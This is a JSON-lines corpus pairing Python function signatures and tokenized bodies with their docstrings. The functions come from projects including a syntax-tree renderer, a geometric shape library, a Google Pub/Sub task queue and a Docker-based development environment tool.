{"signature": "def before_constant(self, constant, key):", "body": "newlines_split = split_on_newlines(constant)<EOL>for c in newlines_split:<EOL><INDENT>if is_newline(c):<EOL><INDENT>self.current.advance_line()<EOL>if self.current.line > self.target.line:<EOL><INDENT>return self.STOP<EOL><DEDENT><DEDENT>else:<EOL><INDENT>advance_by = len(c)<EOL>if self.is_on_targetted_node(advance_by):<EOL><INDENT>self.found_path = deepcopy(self.current_path)<EOL>return self.STOP<EOL><DEDENT>self.current.advance_columns(advance_by)<EOL><DEDENT><DEDENT>", "docstring": "Determine if we're on the targetted node.\n\n        If the targetted column is reached, `stop` and `path_found` are\n        set. If the targetted line is passed, only `stop` is set. This\n        prevents unnecessary tree travelling when the targetted column\n        is out of bounds.", "id": "f3011:c3:m1"}
{"signature": "def render(node, strict=False):", "body": "if isinstance(node, list):<EOL><INDENT>return render_list(node)<EOL><DEDENT>elif isinstance(node, dict):<EOL><INDENT>return render_node(node, strict=strict)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\" % node.__class__.__name__)<EOL><DEDENT>", "docstring": "Recipe to render a given FST node.\n\n    The FST is composed of branch nodes which are either lists or dicts\n    and of leaf nodes which are strings. Branch nodes can have other\n    list, dict or leaf nodes as childs.\n\n    To render a string, simply output it. To render a list, render each\n    of its elements in order. To render a dict, you must follow the\n    node's entry in the nodes_rendering_order dictionary and its\n    dependents constraints.\n\n    This function hides all this algorithmic complexity by returning\n    a structured rendering recipe, whatever the type of node. But even\n    better, you should subclass the RenderWalker which simplifies\n    drastically working with the rendered FST.\n\n    The recipe is a list of steps, each step correspond to a child and is actually a 3-uple composed of the following fields:\n\n    - `key_type` is a string determining the type of the child in the second field (`item`) of the tuple. It can be one of:\n\n      - 'constant': the child is a string\n      - 'node': the child is a dict\n      - 'key': the child is an element of a dict\n      - 'list': the child is a list\n      - 'formatting': the child is a list specialized in formatting\n\n    - `item` is the child itself: either a string, a dict or a list.\n    - `render_key` gives the key used to access this child from the parent node. It's a string if the node is a dict or a number if its a list.\n\n    Please note that \"bool\" `key_types` are never rendered, that's why\n    they are not shown here.", "id": "f3014:m0"}
{"signature": "def get_space(node):", "body": "if len(node) < <NUM_LIT:4> or len(node[<NUM_LIT:3>]) == <NUM_LIT:0>:<EOL><INDENT>return None<EOL><DEDENT>return transform_tabs_to_spaces(node[<NUM_LIT:3>][<NUM_LIT:0>][<NUM_LIT:1>])<EOL>", "docstring": "Return space formatting information of node.\n\n    If the node does not have a third formatting item - like in\n    a ('ENDL', '\\n') node - then we return None as a flag value. This is\n    maybe not the best behavior but it seems to work for now.", "id": "f3016:m2"}
{"signature": "def string_is_bigger(s1, s2):", "body": "if s1 is None:<EOL><INDENT>return False<EOL><DEDENT>elif s2 is None:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>return s1 > s2<EOL><DEDENT>", "docstring": "Return s1 > s2 by taking into account None values.\n\n    None is always smaller than any string.\n\n    None > \"string\" works in python2 but not in python3. This function\n    makes it work in python3 too.", "id": "f3016:m4"}
{"signature": "def gettokentype(self):", "body": "return self.name<EOL>", "docstring": "Returns the type or name of the token.", "id": "f3029:c0:m5"}
{"signature": "def getstr(self):", "body": "return self.value<EOL>", "docstring": "Returns the string represented by this token.", "id": "f3029:c0:m6"}
{"signature": "@classmethod<EOL><INDENT>def regular_polygon(cls, center, radius, n_vertices, start_angle=<NUM_LIT:0>, **kwargs):<DEDENT>", "body": "angles = (np.arange(n_vertices) * <NUM_LIT:2> * np.pi / n_vertices) + start_angle<EOL>return cls(center + radius * np.array([np.cos(angles), np.sin(angles)]).T, **kwargs)<EOL>", "docstring": "Construct a regular polygon.\n\n        Parameters\n        ----------\n        center : array-like\n        radius : float\n        n_vertices : int\n        start_angle : float, optional\n            Where to put the first point, relative to `center`,\n            in radians counter-clockwise starting from the horizontal axis.\n        kwargs\n            Other keyword arguments are passed to the |Shape| constructor.", "id": "f3037:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def circle(cls, center, radius, n_vertices=<NUM_LIT:50>, **kwargs):<DEDENT>", "body": "return cls.regular_polygon(center, radius, n_vertices, **kwargs)<EOL>", "docstring": "Construct a circle.\n\n        Parameters\n        ----------\n        center : array-like\n        radius : float\n        n_vertices : int, optional\n            Number of points to draw.\n            Decrease for performance, increase for appearance.\n        kwargs\n            Other keyword arguments are passed to the |Shape| constructor.", "id": "f3037:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def rectangle(cls, vertices, **kwargs):<DEDENT>", "body": "bottom_left, top_right = vertices<EOL>top_left = [bottom_left[<NUM_LIT:0>], top_right[<NUM_LIT:1>]]<EOL>bottom_right = [top_right[<NUM_LIT:0>], bottom_left[<NUM_LIT:1>]]<EOL>return cls([bottom_left, bottom_right, top_right, top_left], **kwargs)<EOL>", "docstring": "Shortcut for creating a rectangle aligned with the screen axes from only two corners.\n\n        Parameters\n        ----------\n        vertices : array-like\n            An array containing the ``[x, y]`` positions of two corners.\n        kwargs\n            Other keyword arguments are passed to the |Shape| constructor.", "id": "f3037:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def from_dict(cls, spec):<DEDENT>", "body": "spec = spec.copy()<EOL>center = spec.pop('<STR_LIT>', None)<EOL>radius = spec.pop('<STR_LIT>', None)<EOL>if center and radius:<EOL><INDENT>return cls.circle(center, radius, **spec)<EOL><DEDENT>vertices = spec.pop('<STR_LIT>')<EOL>if len(vertices) == <NUM_LIT:2>:<EOL><INDENT>return cls.rectangle(vertices, **spec)<EOL><DEDENT>return cls(vertices, **spec)<EOL>", "docstring": "Create a |Shape| from a dictionary specification.\n\n        Parameters\n        ----------\n        spec : dict\n            A dictionary with either the fields ``'center'`` and ``'radius'`` (for a circle),\n            ``'center'``, ``'radius'``, and ``'n_vertices'`` (for a regular polygon),\n            or ``'vertices'``.\n            If only two vertices are given, they are assumed to be lower left and top right corners of a rectangle.\n            Other fields are interpreted as keyword arguments.", "id": "f3037:c0:m4"}
{"signature": "@property<EOL><INDENT>def _kwargs(self):<DEDENT>", "body": "return dict(color=self.color, velocity=self.velocity, colors=self.colors)<EOL>", "docstring": "Keyword arguments for recreating the Shape from the vertices.", "id": "f3037:c0:m8"}
{"signature": "def distance_to(self, point):", "body": "return np.linalg.norm(self.center - point)<EOL>", "docstring": "Distance from center to arbitrary point.\n\n        Parameters\n        ----------\n        point : array-like\n\n        Returns\n        -------\n        float", "id": "f3037:c0:m15"}
{"signature": "def scale(self, factor, center=None):", "body": "factor = np.asarray(factor)<EOL>if len(factor.shape):<EOL><INDENT>args = list(factor)<EOL><DEDENT>else:<EOL><INDENT>args = [factor, factor]<EOL><DEDENT>if center is not None:<EOL><INDENT>args.extend(center)<EOL><DEDENT>self.poly.scale(*args)<EOL>return self<EOL>", "docstring": "Resize the shape by a proportion (e.g., 1 is unchanged), in-place.\n\n        Parameters\n        ----------\n        factor : float or array-like\n            If a scalar, the same factor will be applied in the x and y dimensions.\n        center : array-like, optional\n            Point around which to perform the scaling.\n            If not passed, the center of the shape is used.", "id": "f3037:c0:m16"}
{"signature": "def translate(self, vector):", "body": "self.poly.shift(*vector)<EOL>", "docstring": "Translate the shape along a vector, in-place.\n\n        Parameters\n        ----------\n        vector : array-like", "id": "f3037:c0:m17"}
{"signature": "def rotate(self, angle, center=None):", "body": "args = [angle]<EOL>if center is not None:<EOL><INDENT>args.extend(center)<EOL><DEDENT>self.poly.rotate(*args)<EOL>return self<EOL>", "docstring": "Rotate the shape, in-place.\n\n        Parameters\n        ----------\n        angle : float\n            Angle to rotate, in radians counter-clockwise.\n        center : array-like, optional\n            Point about which to rotate.\n            If not passed, the center of the shape will be used.", "id": "f3037:c0:m18"}
{"signature": "def flip_x(self, center=None):", "body": "if center is None:<EOL><INDENT>self.poly.flip()<EOL><DEDENT>else:<EOL><INDENT>self.poly.flip(center[<NUM_LIT:0>])<EOL><DEDENT>", "docstring": "Flip the shape in the x direction, in-place.\n\n        Parameters\n        ----------\n        center : array-like, optional\n            Point about which to flip.\n            If not passed, the center of the shape will be used.", "id": "f3037:c0:m19"}
{"signature": "def flip_y(self, center=None):", "body": "if center is None:<EOL><INDENT>self.poly.flop()<EOL><DEDENT>else:<EOL><INDENT>self.poly.flop(center[<NUM_LIT:1>])<EOL><DEDENT>return self<EOL>", "docstring": "Flip the shape in the y direction, in-place.\n\n        Parameters\n        ----------\n        center : array-like, optional\n            Point about which to flip.\n            If not passed, the center of the shape will be used.", "id": "f3037:c0:m20"}
{"signature": "def flip(self, angle, center=None):", "body": "return self.rotate(-angle, center=center).flip_y(center=center).rotate(angle, center=center)<EOL>", "docstring": "Flip the shape in an arbitrary direction.\n\n        Parameters\n        ----------\n        angle : array-like\n            The angle, in radians counter-clockwise from the horizontal axis,\n            defining the angle about which to flip the shape (of a line through `center`).\n        center : array-like, optional\n            The point about which to flip.\n            If not passed, the center of the shape will be used.", "id": "f3037:c0:m21"}
{"signature": "def draw(self):", "body": "if self.enabled:<EOL><INDENT>self._vertex_list.colors = self._gl_colors<EOL>self._vertex_list.vertices = self._gl_vertices<EOL>self._vertex_list.draw(pyglet.gl.GL_TRIANGLES)<EOL><DEDENT>", "docstring": "Draw the shape in the current OpenGL context.", "id": "f3037:c0:m23"}
{"signature": "def update(self, dt):", "body": "self.translate(dt * self.velocity)<EOL>self.rotate(dt * self.angular_velocity)<EOL>", "docstring": "Update the shape's position by moving it forward according to its velocity.\n\n        Parameters\n        ----------\n        dt : float", "id": "f3037:c0:m24"}
{"signature": "def enable(self, enabled):", "body": "self.enabled = enabled<EOL>return self<EOL>", "docstring": "Set whether the shape should be drawn.\n\n        Parameters\n        ----------\n\n        enabled : bool", "id": "f3037:c0:m25"}
{"signature": "def overlaps(self, other):", "body": "return bool(self.poly.overlaps(other.poly))<EOL>", "docstring": "Check if two shapes overlap.\n\n        Parameters\n        ----------\n        other : |Shape|\n\n        Returns\n        -------\n        bool", "id": "f3037:c0:m26"}
{"signature": "def covers(self, other):", "body": "return bool(self.poly.covers(other.poly))<EOL>", "docstring": "Check if the shape completely covers another shape.\n\n        Parameters\n        ----------\n        other : |Shape|\n\n        Returns\n        -------\n        bool", "id": "f3037:c0:m27"}
{"signature": "def _get_or_create_subscription(self):", "body": "topic_path = self._get_topic_path()<EOL>subscription_name = '<STR_LIT>'.format(<EOL>PUBSUB_OBJECT_PREFIX, self.name)<EOL>subscription_path = self.subscriber_client.subscription_path(<EOL>self.project, subscription_name)<EOL>try:<EOL><INDENT>self.subscriber_client.get_subscription(subscription_path)<EOL><DEDENT>except google.cloud.exceptions.NotFound:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(<EOL>subscription_name))<EOL>try:<EOL><INDENT>self.subscriber_client.create_subscription(<EOL>subscription_path, topic=topic_path)<EOL><DEDENT>except google.cloud.exceptions.Conflict:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return subscription_path<EOL>", "docstring": "Workers all share the same subscription so that tasks are\n        distributed across all workers.", "id": "f3044:c0:m3"}
{"signature": "def enqueue(self, f, *args, **kwargs):", "body": "task = Task(uuid4().hex, f, args, kwargs)<EOL>self.storage.put_task(task)<EOL>return self.enqueue_task(task)<EOL>", "docstring": "Enqueues a function for the task queue to execute.", "id": "f3044:c0:m4"}
{"signature": "def enqueue_task(self, task):", "body": "data = dumps(task)<EOL>if self._async:<EOL><INDENT>self.publisher_client.publish(self.topic_path, data=data)<EOL>logger.info('<STR_LIT>'.format(task.id))<EOL><DEDENT>else:<EOL><INDENT>unpickled_task = unpickle(data)<EOL>logger.info(<EOL>'<STR_LIT>'.format(unpickled_task.id)<EOL>)<EOL>with measure_time() as summary, self.queue_context():<EOL><INDENT>unpickled_task.execute(queue=self)<EOL>summary(unpickled_task.summary())<EOL><DEDENT><DEDENT>return TaskResult(task.id, self)<EOL>", "docstring": "Enqueues a task directly. This is used when a task is retried or if\n        a task was manually created.\n\n        Note that this does not store the task.", "id": "f3044:c0:m5"}
{"signature": "def cleanup(self):", "body": "pass<EOL>", "docstring": "Does nothing for this queue, but other queues types may use this to\n        perform clean-up after listening for tasks.", "id": "f3044:c0:m8"}
{"signature": "def queue_context(self):", "body": "return queue_context(self)<EOL>", "docstring": "Returns a context manager that sets this queue as the current_queue\nglobal. Similar to flask's app.app_context. This is used by the workers\nto make the global available inside of task functions.", "id": "f3044:c0:m9"}
{"signature": "def task_context(self):", "body": "return task_context(self)<EOL>", "docstring": "Returns a context manager that sets this task as the current_task\nglobal. Similar to flask's app.request_context. This is used by the\nworkers to make the global available inside of task functions.", "id": "f3045:c2:m9"}
{"signature": "def result(self, timeout=None):", "body": "start = time.time()<EOL>while True:<EOL><INDENT>task = self.get_task()<EOL>if not task or task.status not in (FINISHED, FAILED):<EOL><INDENT>if not timeout:<EOL><INDENT>continue<EOL><DEDENT>elif time.time() - start < timeout:<EOL><INDENT>continue<EOL><DEDENT>else:<EOL><INDENT>raise TimeoutError()<EOL><DEDENT><DEDENT>if task.status == FAILED:<EOL><INDENT>raise task.result<EOL><DEDENT>return task.result<EOL><DEDENT>", "docstring": "Gets the result of the task.\n\n        Arguments:\n            timeout: Maximum seconds to wait for a result before raising a\n                TimeoutError. If set to None, this will wait forever. If the\n                queue doesn't store results and timeout is None, this call will\n                never return.", "id": "f3045:c3:m2"}
{"signature": "def _get_or_create_subscription(self):", "body": "topic_path = self._get_topic_path()<EOL>subscription_name = '<STR_LIT>'.format(<EOL>queue.PUBSUB_OBJECT_PREFIX, self.name, uuid4().hex)<EOL>subscription_path = self.subscriber_client.subscription_path(<EOL>self.project, subscription_name)<EOL>try:<EOL><INDENT>self.subscriber_client.get_subscription(subscription_path)<EOL><DEDENT>except google.cloud.exceptions.NotFound:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(<EOL>subscription_name))<EOL>self.subscriber_client.create_subscription(<EOL>subscription_path, topic_path)<EOL><DEDENT>return subscription_path<EOL>", "docstring": "In a broadcast queue, workers have a unique subscription ensuring\n        that every worker recieves a copy of every task.", "id": "f3046:c0:m1"}
{"signature": "def cleanup(self):", "body": "if self.subscription:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self.subscriber_client.delete_subscription(self.subscription)<EOL><DEDENT>", "docstring": "Deletes this worker's subscription.", "id": "f3046:c0:m2"}
{"signature": "def unpickle(pickled_string):", "body": "try:<EOL><INDENT>obj = loads(pickled_string)<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise UnpickleError('<STR_LIT>', pickled_string, e)<EOL><DEDENT>return obj<EOL>", "docstring": "Unpickles a string, but raises a unified UnpickleError in case anything\n    fails.\n    This is a helper method to not have to deal with the fact that `loads()`\n    potentially raises many types of exceptions (e.g. AttributeError,\n    IndexError, TypeError, KeyError, etc.)", "id": "f3055:m0"}
{"signature": "@click.command()<EOL>@click.option(<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>@click.option(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>@click.argument(<EOL>'<STR_LIT>',<EOL>nargs=<NUM_LIT:1>,<EOL>required=True)<EOL>def main(path, pid, queue):", "body": "setup_logging()<EOL>if pid:<EOL><INDENT>with open(os.path.expanduser(pid), \"<STR_LIT:w>\") as f:<EOL><INDENT>f.write(str(os.getpid()))<EOL><DEDENT><DEDENT>if not path:<EOL><INDENT>path = os.getcwd()<EOL><DEDENT>sys.path.insert(<NUM_LIT:0>, path)<EOL>queue = import_queue(queue)<EOL>import psq<EOL>worker = psq.Worker(queue=queue)<EOL>worker.listen()<EOL>", "docstring": "Standalone PSQ worker.\n\nThe queue argument must be the full importable path to a psq.Queue\ninstance.\n\nExample usage:\n\n    psqworker config.q\n\n    psqworker --path /opt/app queues.fast", "id": "f3058:m2"}
{"signature": "def busybox_single_app_bundle_fixture(num_bundles=<NUM_LIT:1>, command=['<STR_LIT>'], app_name_transformer=None):", "body": "if app_name_transformer is None:<EOL><INDENT>app_name_transformer = lambda x: x<EOL><DEDENT>app_dict = {'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:image>': '<STR_LIT>',<EOL>'<STR_LIT>': {'<STR_LIT>': command},<EOL>'<STR_LIT:test>': {'<STR_LIT:image>': '<STR_LIT>',<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': [{'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT:.>'},<EOL>{'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT:.>'},<EOL>{'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': ['<STR_LIT>'],<EOL>'<STR_LIT>': '<STR_LIT:.>'}]}}<EOL>for bundle in range(num_bundles):<EOL><INDENT>app_name = app_name_transformer('<STR_LIT>'.format(_num_to_alpha(bundle)))<EOL>bundle_name = '<STR_LIT>'.format(_num_to_alpha(bundle))<EOL>_write('<STR_LIT>', bundle_name, {'<STR_LIT:description>': '<STR_LIT>', '<STR_LIT>': [app_name]})<EOL>_write('<STR_LIT>', app_name, app_dict)<EOL><DEDENT>", "docstring": "Fixture for use in integration tests. The local repo at\n    /tmp/fake-repo should be set up before using this fixture. Optionally takes in\n    a name transformer function which is applied to the default names of the apps.", "id": "f3059:m9"}
{"signature": "@property<EOL><INDENT>def CommandError(self):<DEDENT>", "body": "return CommandError<EOL>", "docstring": "Pure convenience to avoid having to import this explicitly", "id": "f3121:c4:m4"}
{"signature": "@property<EOL><INDENT>def stdout(self):<DEDENT>", "body": "out = sys.stdout.getvalue()[self.stdout_start:].strip()<EOL>if isinstance(out, str):<EOL><INDENT>out = out.encode('<STR_LIT:utf-8>')<EOL><DEDENT>return out<EOL>", "docstring": "Returns any stdout that has been generated *since* the last time\n        clear_stdout was called.", "id": "f3121:c4:m5"}
{"signature": "@patch('<STR_LIT>')<EOL><INDENT>def run_command(self, args, fake_exit, raise_on_error=True):<DEDENT>", "body": "with patch('<STR_LIT>', wraps=self.exec_docker_patch) as fake_exec_docker:<EOL><INDENT>fake_exit.side_effect = SysExit('<STR_LIT>')<EOL>self.fake_exec_docker = fake_exec_docker<EOL>sys.argv = ['<STR_LIT>'] + args.split('<STR_LIT:U+0020>')<EOL>try:<EOL><INDENT>client_entrypoint()<EOL><DEDENT>except SysExit:<EOL><INDENT>pass<EOL><DEDENT>for call in fake_exit.mock_calls:<EOL><INDENT>name, args, kwargs = call<EOL>if len(args) == <NUM_LIT:1> and args[<NUM_LIT:0>] > <NUM_LIT:0> and raise_on_error:<EOL><INDENT>self._clear_stdout()<EOL>raise CommandError('<STR_LIT>'.format('<STR_LIT:U+0020>'.join(sys.argv), args[<NUM_LIT:0>]))<EOL><DEDENT><DEDENT>result = self.stdout<EOL>self._clear_stdout()<EOL>return result<EOL><DEDENT>", "docstring": "Run a command through the Dusty client entrypoint, e.g. simulating\n        the Dusty CLI as close as possible without having to call a subprocess.\n        This command raises if the command fails, otherwise it returns the\n        stdout generated by the command.", "id": "f3121:c4:m7"}
{"signature": "def verify_mac_username(username):", "body": "try:<EOL><INDENT>pwd.getpwnam(username)<EOL><DEDENT>except:<EOL><INDENT>raise RuntimeError('<STR_LIT>'.format(username))<EOL><DEDENT>", "docstring": "Raise an error if the user doesn't exist", "id": "f3124:m10"}
{"signature": "def _load_ssh_auth_post_yosemite(mac_username):", "body": "user_id = subprocess.check_output(['<STR_LIT:id>', '<STR_LIT>', mac_username])<EOL>ssh_auth_sock = subprocess.check_output(['<STR_LIT>', '<STR_LIT>', user_id, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']).rstrip()<EOL>_set_ssh_auth_sock(ssh_auth_sock)<EOL>", "docstring": "Starting with Yosemite, launchd was rearchitected and now only one\n    launchd process runs for all users. This allows us to much more easily\n    impersonate a user through launchd and extract the environment\n    variables from their running processes.", "id": "f3124:m13"}
{"signature": "def _load_ssh_auth_pre_yosemite():", "body": "for process in psutil.process_iter():<EOL><INDENT>if process.name() == '<STR_LIT>':<EOL><INDENT>ssh_auth_sock = subprocess.check_output(['<STR_LIT>', '<STR_LIT>', str(process.pid), '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']).rstrip()<EOL>if ssh_auth_sock:<EOL><INDENT>_set_ssh_auth_sock(ssh_auth_sock)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>daemon_warnings.warn('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>", "docstring": "For OS X versions before Yosemite, many launchd processes run simultaneously under\n    different users and different permission models. The simpler `asuser` trick we use\n    in Yosemite doesn't work, since it gets routed to the wrong launchd. We instead need\n    to find the running ssh-agent process and use its PID to navigate ourselves\n    to the correct launchd.", "id": "f3124:m14"}
{"signature": "def check_and_load_ssh_auth():", "body": "mac_username = get_config_value(constants.CONFIG_MAC_USERNAME_KEY)<EOL>if not mac_username:<EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if not _running_on_mac(): <EOL><INDENT>logging.info(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if _mac_version_is_post_yosemite():<EOL><INDENT>_load_ssh_auth_post_yosemite(mac_username)<EOL><DEDENT>else:<EOL><INDENT>_load_ssh_auth_pre_yosemite()<EOL><DEDENT>", "docstring": "Will check the mac_username config value; if it is present, will load that user's\nSSH_AUTH_SOCK environment variable to the current environment.  This allows git clones\nto behave the same for the daemon as they do for the user", "id": "f3124:m16"}
{"signature": "def parent_dir(path):", "body": "return os.path.split(path)[<NUM_LIT:0>]<EOL>", "docstring": "Return the parent directory of a file or directory.\n    This is commonly useful for creating parent directories\n    prior to creating a file.", "id": "f3125:m0"}
{"signature": "def case_insensitive_rename(src, dst):", "body": "temp_dir = tempfile.mkdtemp()<EOL>shutil.rmtree(temp_dir)<EOL>shutil.move(src, temp_dir)<EOL>shutil.move(temp_dir, dst)<EOL>", "docstring": "A hack to allow us to rename paths in a case-insensitive filesystem like HFS.", "id": "f3125:m5"}
{"signature": "def _compile_docker_commands(app_name, assembled_specs, port_spec):", "body": "app_spec = assembled_specs['<STR_LIT>'][app_name]<EOL>commands = ['<STR_LIT>']<EOL>commands += _lib_install_commands_for_app(app_name, assembled_specs)<EOL>if app_spec['<STR_LIT>']:<EOL><INDENT>commands.append(\"<STR_LIT>\".format(container_code_path(app_spec)))<EOL>commands.append(\"<STR_LIT>\".format(container_code_path(app_spec)))<EOL><DEDENT>commands += _copy_assets_commands_for_app(app_spec, assembled_specs)<EOL>commands += _get_once_commands(app_spec, port_spec)<EOL>commands += _get_always_commands(app_spec)<EOL>return commands<EOL>", "docstring": "This is used to compile the command that will be run when the docker container starts\n    up. This command has to install any libs that the app uses, run the `always` command, and\n    run the `once` command if the container is being launched for the first time", "id": "f3127:m8"}
{"signature": "def _lib_install_commands_for_app(app_name, assembled_specs):", "body": "libs = assembled_specs['<STR_LIT>'][app_name]['<STR_LIT>']['<STR_LIT>']<EOL>return _lib_install_commands_for_libs(assembled_specs, libs)<EOL>", "docstring": "This returns a list of all the commands that will install libraries for a\n    given app", "id": "f3127:m11"}
{"signature": "def _lib_install_commands_for_lib(app_name, assembled_specs):", "body": "libs = assembled_specs['<STR_LIT>'][app_name]['<STR_LIT>']['<STR_LIT>']<EOL>return _lib_install_commands_for_libs(assembled_specs, libs)<EOL>", "docstring": "This returns a list of all the commands that will install libraries for a\n    given lib", "id": "f3127:m12"}
{"signature": "def _lib_install_commands(lib_spec):", "body": "if not lib_spec['<STR_LIT>']:<EOL><INDENT>return []<EOL><DEDENT>return [\"<STR_LIT>\".format(lib_spec['<STR_LIT>'])] + lib_spec['<STR_LIT>']<EOL>", "docstring": "This returns a single commmand that will install a library in a docker container", "id": "f3127:m14"}
{"signature": "def repo_mount_validator():", "body": "def validator(document):<EOL><INDENT>if '<STR_LIT>' in document and '<STR_LIT>' in document:<EOL><INDENT>return<EOL><DEDENT>elif '<STR_LIT>' not in document and '<STR_LIT>' not in document:<EOL><INDENT>return<EOL><DEDENT>return '<STR_LIT>'<EOL><DEDENT>return validator<EOL>", "docstring": "If either repo or mount are provided, they must both be provided.", "id": "f3133:m1"}
{"signature": "def _mount_repo(repo, wait_for_server=False):", "body": "check_call_on_vm('<STR_LIT>'.format(repo.vm_path))<EOL>if wait_for_server:<EOL><INDENT>for i in range(<NUM_LIT:0>,<NUM_LIT:10>):<EOL><INDENT>try:<EOL><INDENT>_run_mount_command(repo)<EOL>return<EOL><DEDENT>except CalledProcessError as e:<EOL><INDENT>if '<STR_LIT>' in e.output:<EOL><INDENT>logging.info('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>logging.info(e.output)<EOL>raise e<EOL><DEDENT><DEDENT><DEDENT>log_to_client('<STR_LIT>'.format(repo.short_name))<EOL>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>_run_mount_command(repo)<EOL><DEDENT>", "docstring": "This function will create the VM directory where a repo will be mounted, if it\ndoesn't exist.  If wait_for_server is set, it will wait up to 10 seconds for\nthe nfs server to start, by retrying mounts that fail with 'Connection Refused'.\n\nIf wait_for_server is not set, it will attempt to run the mount command once", "id": "f3136:m6"}
{"signature": "def configure_nfs_server():", "body": "repos_for_export = get_all_repos(active_only=True, include_specs_repo=False)<EOL>current_exports = _get_current_exports()<EOL>needed_exports = _get_exports_for_repos(repos_for_export)<EOL>_ensure_managed_repos_dir_exists()<EOL>if not needed_exports.difference(current_exports):<EOL><INDENT>if not _server_is_running():<EOL><INDENT>_restart_server()<EOL><DEDENT>return<EOL><DEDENT>_write_exports_config(needed_exports)<EOL>_restart_server()<EOL>", "docstring": "This function is used with `dusty up`.  It will check all active repos to see if\nthey are exported.  If any are missing, it will replace current dusty exports with\nexports that are needed for currently active repos, and restart\nthe nfs server", "id": "f3137:m0"}
{"signature": "def add_exports_for_repos(repos):", "body": "current_exports = _get_current_exports()<EOL>needed_exports = _get_exports_for_repos(repos)<EOL>if not needed_exports.difference(current_exports):<EOL><INDENT>if not _server_is_running():<EOL><INDENT>_restart_server()<EOL><DEDENT>return<EOL><DEDENT>_write_exports_config(current_exports.union(needed_exports))<EOL>_restart_server()<EOL>", "docstring": "This function will add needed entries to /etc/exports.  It will not remove any\nentries from the file.  It will then restart the server if necessary", "id": "f3137:m1"}
{"signature": "def _ensure_managed_repos_dir_exists():", "body": "if not os.path.exists(constants.REPOS_DIR):<EOL><INDENT>os.makedirs(constants.REPOS_DIR)<EOL><DEDENT>", "docstring": "Our exports file will be invalid if this folder doesn't exist, and the NFS server\nwill not run correctly.", "id": "f3137:m2"}
{"signature": "def vm_path_is_directory(remote_path):", "body": "try:<EOL><INDENT>check_call_on_vm('<STR_LIT>'.format(remote_path))<EOL><DEDENT>except CalledProcessError:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "A weak check of whether a path in the Dusty VM is a directory.\n    This function returns False on any process error, so False may indicate\n    other failures such as the path not actually existing.", "id": "f3139:m2"}
{"signature": "def registry_from_image(image_name):", "body": "if '<STR_LIT:/>' not in image_name: <EOL><INDENT>return constants.PUBLIC_DOCKER_REGISTRY<EOL><DEDENT>prefix = image_name.split('<STR_LIT:/>')[<NUM_LIT:0>]<EOL>if '<STR_LIT:.>' not in prefix: <EOL><INDENT>return constants.PUBLIC_DOCKER_REGISTRY<EOL><DEDENT>return prefix<EOL>", "docstring": "Returns the Docker registry host associated with\n    a given image name.", "id": "f3140:m0"}
{"signature": "@memoized<EOL>def get_authed_registries():", "body": "result = set()<EOL>if not os.path.exists(constants.DOCKER_CONFIG_PATH):<EOL><INDENT>return result<EOL><DEDENT>config = json.load(open(constants.DOCKER_CONFIG_PATH, '<STR_LIT:r>'))<EOL>for registry in config.get('<STR_LIT>', {}).iterkeys():<EOL><INDENT>try:<EOL><INDENT>parsed = urlparse(registry)<EOL><DEDENT>except Exception:<EOL><INDENT>log_to_client('<STR_LIT>').format(registry)<EOL><DEDENT>result.add(parsed.netloc) if parsed.netloc else result.add(parsed.path)<EOL><DEDENT>return result<EOL>", "docstring": "Reads the local Docker client config for the current user\n    and returns all registries to which the user may be logged in.\n    This is intended to be run client-side, not by the daemon.", "id": "f3140:m1"}
{"signature": "def get_dusty_images():", "body": "specs = get_specs()<EOL>dusty_image_names = [spec['<STR_LIT:image>'] for spec in specs['<STR_LIT>'].values() + specs['<STR_LIT>'].values() if '<STR_LIT:image>' in spec]<EOL>dusty_images = set([name  if '<STR_LIT::>' in name else \"<STR_LIT>\".format(name) for name in dusty_image_names])<EOL>return dusty_images<EOL>", "docstring": "Returns all images listed in dusty specs (apps + bundles), in the form repository:tag.  Tag will be set to latest\n    if no tag is specified in the specs", "id": "f3144:m1"}
